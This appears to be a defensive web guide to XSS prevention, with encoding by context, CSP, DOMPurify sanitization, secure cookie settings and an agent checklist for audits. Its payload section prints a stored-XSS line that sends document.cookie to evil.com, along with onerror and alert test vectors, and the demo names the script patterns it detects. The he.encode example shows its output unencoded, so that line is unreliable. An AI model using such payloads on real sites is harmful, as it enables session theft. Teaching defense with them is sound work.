XSS prevention
Encode for HTML, attributes, URLs, and JavaScript contexts; use Content-Security-Policy to restrict inline scripts and eval; avoid concatenating untrusted data into innerHTML.
Defense in depth
No single control covers every XSS variant; stack three layers: shape data on ingress and egress, then let the browser policy catch mistakes.
Encoding
Pick HTML entities, attribute escaping, URL encoding, or JS string escaping for the actual output context. Treat data as untrusted by default and encode before templates or DOM assembly.
Content Security Policy (CSP)
Restrict script sources; block or constrain inline scripts and eval; use report-to / report-uri to observe violations. Nonces and hashes can keep required inline code while tightening the surface.
Sanitization
When rich text must keep tags, parse with an allowlist and strip handlers and dangerous schemes (e.g. javascript:). You may sanitize on write and on read—complements encoding rather than replacing it.
Output context reference
Wrong-context encoding is a common mistake: escaping safe for an HTML text node can still fail inside href or <script>.
| Context | Typical placement | Essentials |
|---|---|---|
| HTML text | Element body, display outside textarea |
Escape < > & " '; do not build tag structure from untrusted strings. |
| HTML attribute | title, data-*, some src |
Attribute escaping + scheme checks; block javascript: and suspicious data URLs in href/src. |
| URL / query | Redirects, links, location |
Use URL encode/parse APIs; allowlist schemes and hosts; govern open redirects separately. |
| JavaScript | Inline handlers are fading; JSON embedding, eval anti-patterns |
Never splice untrusted strings into JS source; use JSON.stringify or isolated application/json blocks. |
Mitigation flow (sketch)
Outside in: reduce how expressive untrusted data can be, encode at render time, then CSP limits what can execute.
Untrusted input (body / URL / storage / third-party HTML)
│
▼
┌───────────────────────┐
│ ① Sanitize (if HTML) │ Allowlist; strip handlers / bad URLs
└───────────┬───────────┘
▼
┌───────────────────────┐
│ ② Encode (by context) │ HTML / Attr / URL / JS
└───────────┬───────────┘
▼
┌───────────────────────┐
│ ③ CSP (+ Trusted Types)│ script-src, object-src, default-src
└───────────┬───────────┘
▼
Safe browser render
In-page demo
Scripts below run only on this page: highlight common dangerous substrings in sample input (illustrative, not a full scanner); toggle directives to preview a Content-Security-Policy string for docs.
Dangerous substring highlight (sample input)
Highlight view (<mark> shows matched common vector fragments)
Rules match script tag fragments, event handlers, javascript:, iframe, vbscript:, data:text/html, etc. (demo only).
CSP directive preview
Framework safety and encoding function examples
3 types of XSS attack payloads and defense code
// Stored XSS payload
// Attacker stores in comment: <script>document.location='https://evil.com/steal?c='+document.cookie</script>
// Defense: HTML-encode on output from DB, do not use innerHTML directly
// Reflected XSS payload
// URL: /search?q=<img src=x onerror=alert(document.domain)>
// Defense: server-side output escaping, CSP restricts inline scripts
// DOM XSS payload
// URL fragment: #<img src=x onerror=alert(1)>
document.getElementById('output').innerHTML = location.hash.slice(1); // ❌
// Defense: use textContent instead of innerHTML
document.getElementById('output').textContent = location.hash.slice(1); // ✅
React dangerouslySetInnerHTML anti-pattern vs DOMPurify correct usage
// ❌ Dangerous: unsanitized dangerouslySetInnerHTML
function Comment({ html }) {
return <div dangerouslySetInnerHTML={{ __html: html }} />;
}
// ✅ Secure: sanitize with DOMPurify before rendering
import DOMPurify from 'dompurify';
function Comment({ html }) {
const clean = DOMPurify.sanitize(html, {
ALLOWED_TAGS: ['b', 'i', 'em', 'strong', 'a', 'p'],
ALLOWED_ATTR: ['href', 'title'],
ALLOW_DATA_ATTR: false,
});
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}
// ✅ Vue v-html safety rules
// Use v-html only on trusted content, pre-process with DOMPurify:
// <div v-html="sanitizedContent"></div>
// computed: { sanitizedContent() { return DOMPurify.sanitize(this.rawHtml) } }
Four encoding context functions
// HTML encoding (Node.js — he library)
import he from 'he';
const htmlEncoded = he.encode('<script>alert(1)</script>');
// → '<script>alert(1)</script>'
// URL encoding
const urlEncoded = encodeURIComponent(userInput);
// For query string values, not for the full URL
// JavaScript string encoding (when embedding inside <script>)
const jsEncoded = JSON.stringify(userInput)
.replace(/</g, '\\u003c')
.replace(/>/g, '\\u003e')
.replace(/&/g, '\\u0026');
// CSS encoding (when user controls style attribute values)
function cssSafeValue(val) {
return val.replace(/[^a-zA-Z0-9\-_]/g, c =>
'\\' + c.codePointAt(0).toString(16) + ' '
);
}
Secure Cookie configuration
// Express.js — secure Cookie configuration
res.cookie('session', token, {
httpOnly: true, // Prevent JS access (stops XSS session theft)
secure: true, // HTTPS only
sameSite: 'Strict', // Prevent CSRF ('Lax' is the balance for most scenarios)
maxAge: 3600000, // 1 hour
path: '/',
domain: 'example.com',
});
# Nginx — Set-Cookie header example
# add_header Set-Cookie "session=$token; HttpOnly; Secure; SameSite=Strict; Path=/; Max-Age=3600"
- Stored XSS: sanitize on write and encode on read; configure DOMPurify with an ALLOWED_TAGS allowlist.
- Third-party scripts: Subresource Integrity (SRI) with integrity=sha256-... and supply-chain review.
SKILL snippet
---
name: xss-prevention-checklist
description: Audit front/back XSS surface covering 3 XSS types, framework safe usage, 4 encoding contexts, and CSP
---
# Steps
1. Identify 3 XSS types: Stored / Reflected / DOM — provide payload examples for each
2. DOM manipulation: forbid innerHTML/outerHTML with untrusted data, use textContent instead
3. React: audit all dangerouslySetInnerHTML; must use DOMPurify.sanitize
4. Vue: audit v-html usage; pre-process with DOMPurify before rendering
5. Rich text: DOMPurify ALLOWED_TAGS allowlist, disable event attributes and javascript: scheme
6. HTML encoding: he.encode or framework built-in (Jinja2 autoescape, Thymeleaf th:text)
7. URL encoding: encodeURIComponent for query values; validate href/src to block javascript:
8. JS context embedding: JSON.stringify + Unicode-escape <, >, &
9. CSS context: cssSafeValue function restricts to valid character set
10. CSP: default-src 'self', script-src with nonce or hash, forbid unsafe-inline
11. Cookie: httpOnly + secure + sameSite=Strict/Lax + appropriate maxAge
12. Test vectors: basic <script>alert(1)</script>, event onerror=, URL javascript:
13. SRI: add integrity=sha256-... and crossorigin=anonymous to third-party scripts
# Anti-patterns
- Do NOT directly assign user input to innerHTML or document.write
- Do NOT use unsafe-eval in CSP (unless there is a compelling framework need with a hash)